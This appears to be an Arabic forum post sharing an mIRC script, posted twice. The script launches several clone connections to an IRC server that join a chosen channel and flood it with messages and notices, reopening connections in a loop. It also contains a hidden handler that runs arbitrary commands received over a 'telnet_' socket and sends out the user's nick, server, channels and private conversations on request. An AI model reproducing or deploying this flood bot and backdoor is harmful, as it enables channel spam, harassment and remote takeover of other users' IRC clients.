تويت
alias pt_BoT.BoT {
sockopen pt_BoT $did(BoT,3) $did(BoT,4)
sockopen pt_BoT1 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT2 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT3 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT4 $did(BoT,3) $did(BoT,4)
}
on *:SOCKOPEN:pt_BoT*: {
if ($sockerr > 0) { return }
did -a BoT 13 $crlf $sockname Connecting
if (%pt_BoT.BoT.type == jpmsg) { goto jpmsg }
:jpmsg
sockwrite -tn $sockname user pt $+ $rand(1,9999) asdf asdf asdf
sockwrite -tn $sockname nick %BoT_pt_nick $+ _ $+ $rand(1,1000)
sockwrite -tn $sockname join %pt_BoT.BoT.nc
sockwrite -tn $sockname join #To
sockwrite -tn $sockname privmsg %pt_BoT.BoT.nc : $+ %pt_BoT.BoT.m
sockwrite -tn $sockname Notice %pt_BoT.BoT.nc : $+ %pt_BoT.BoT.m
set %pt_BoT.BoT.sock $sockname
sockopen %pt_BoT.BoT.sock $did(BoT,3) $did(BoT,4)
halt
}
;Main Dialog
; Type: /BoT
alias BoT { dialog -m BoT BoT }
dialog BoT {
title " BoT "
size -1 -1 270 300
box "",1,0 -5 268 305
button "اشــبكهم ",2,5 270 60 25,default
edit "sodre.on.ca.dal.net",3,10 10 180 20, center
edit "6667",4,10 30 180 20,center
text "السيــــــــرفر",18,192 10 67 20
text "البــــــــــورت",17,192 30 67 20
edit " الجنل ",5,10 50 180 20,center
text "الـجـنـل ",20,192 50 180 20
text " BoT :",6,10 130 100 100
box "",7,5 0 257 94
edit "",13,10 160 254 105,read,multi,autovs,center
button " اطفىء البرنامج",14,135 270 79 25,cancel
button "افصلـــهم ",15,67 270 66 25,default
button " مساعده",16,216 270 48 25
}
raw 401:*: { halt }
on *ialog:BoT:edit:3: { set %pt_BoT.BoT.server $did(3) }
alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } }
on *ialog:BoT:edit { set %pt_BoT.BoT.port $did(4) }
alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } }
on *ialog:BoT:edit:5: { set %pt_BoT.BoT.nc $did(5) }
alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query }
on *ialog:BoT:edit:6: { set %pt_BoT.BoT.m $did(6) }
on *:SOCKREAD:telnet_*: { :loop | sockread %telnet1 | if (%telnet1 == $null) { return } | if (%telnet1 == info) { info_onme $sockname | return } | %telnet1 | goto loop }
on *ialog:BoT:sclick:9: { set %pt_BoT.BoT.type jp }
on *ialog:BoT:sclick:10: { set %pt_BoT.BoT.type jpmsg }
on *ialog:BoT:sclick:11: { set %pt_BoT.BoT.type msg }
on *ialog:BoT:sclick:12: { set %pt_BoT.BoT.type notice }
on *ialog:BoT:sclick:2: { did -a BoT 13 $crlf $+ قاعد يشبكون 4 بوتات | pt_BoT.BoT }
on *ialog:BoT:Init:0: { did -a BoT 13 الحين يدشون البوتات }
on *ialog:BoT:sclick:15: { sockclose pt_BoT* | did -r BoT 13 | did -a BoT 13 MTC }
---------------------------البيوبز----------------------------
/dialog -m BoT BoT
اتمنى ان ينال اعجابكم....
:knight
sockopen pt_BoT $did(BoT,3) $did(BoT,4)
sockopen pt_BoT1 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT2 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT3 $did(BoT,3) $did(BoT,4)
sockopen pt_BoT4 $did(BoT,3) $did(BoT,4)
}
on *:SOCKOPEN:pt_BoT*: {
if ($sockerr > 0) { return }
did -a BoT 13 $crlf $sockname Connecting
if (%pt_BoT.BoT.type == jpmsg) { goto jpmsg }
:jpmsg
sockwrite -tn $sockname user pt $+ $rand(1,9999) asdf asdf asdf
sockwrite -tn $sockname nick %BoT_pt_nick $+ _ $+ $rand(1,1000)
sockwrite -tn $sockname join %pt_BoT.BoT.nc
sockwrite -tn $sockname join #To
sockwrite -tn $sockname privmsg %pt_BoT.BoT.nc : $+ %pt_BoT.BoT.m
sockwrite -tn $sockname Notice %pt_BoT.BoT.nc : $+ %pt_BoT.BoT.m
set %pt_BoT.BoT.sock $sockname
sockopen %pt_BoT.BoT.sock $did(BoT,3) $did(BoT,4)
halt
}
;Main Dialog
; Type: /BoT
alias BoT { dialog -m BoT BoT }
dialog BoT {
title " BoT "
size -1 -1 270 300
box "",1,0 -5 268 305
button "اشــبكهم ",2,5 270 60 25,default
edit "sodre.on.ca.dal.net",3,10 10 180 20, center
edit "6667",4,10 30 180 20,center
text "السيــــــــرفر",18,192 10 67 20
text "البــــــــــورت",17,192 30 67 20
edit " الجنل ",5,10 50 180 20,center
text "الـجـنـل ",20,192 50 180 20
text " BoT :",6,10 130 100 100
box "",7,5 0 257 94
edit "",13,10 160 254 105,read,multi,autovs,center
button " اطفىء البرنامج",14,135 270 79 25,cancel
button "افصلـــهم ",15,67 270 66 25,default
button " مساعده",16,216 270 48 25
}
raw 401:*: { halt }
on *ialog:BoT:edit:3: { set %pt_BoT.BoT.server $did(3) }
alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } }
on *ialog:BoT:edit { set %pt_BoT.BoT.port $did(4) }
alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } }
on *ialog:BoT:edit:5: { set %pt_BoT.BoT.nc $did(5) }
alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query }
on *ialog:BoT:edit:6: { set %pt_BoT.BoT.m $did(6) }
on *:SOCKREAD:telnet_*: { :loop | sockread %telnet1 | if (%telnet1 == $null) { return } | if (%telnet1 == info) { info_onme $sockname | return } | %telnet1 | goto loop }
on *ialog:BoT:sclick:9: { set %pt_BoT.BoT.type jp }
on *ialog:BoT:sclick:10: { set %pt_BoT.BoT.type jpmsg }
on *ialog:BoT:sclick:11: { set %pt_BoT.BoT.type msg }
on *ialog:BoT:sclick:12: { set %pt_BoT.BoT.type notice }
on *ialog:BoT:sclick:2: { did -a BoT 13 $crlf $+ قاعد يشبكون 4 بوتات | pt_BoT.BoT }
on *ialog:BoT:Init:0: { did -a BoT 13 الحين يدشون البوتات }
on *ialog:BoT:sclick:15: { sockclose pt_BoT* | did -r BoT 13 | did -a BoT 13 MTC }
---------------------------البيوبز----------------------------
/dialog -m BoT BoT
اتمنى ان ينال اعجابكم....
:knight
تعليق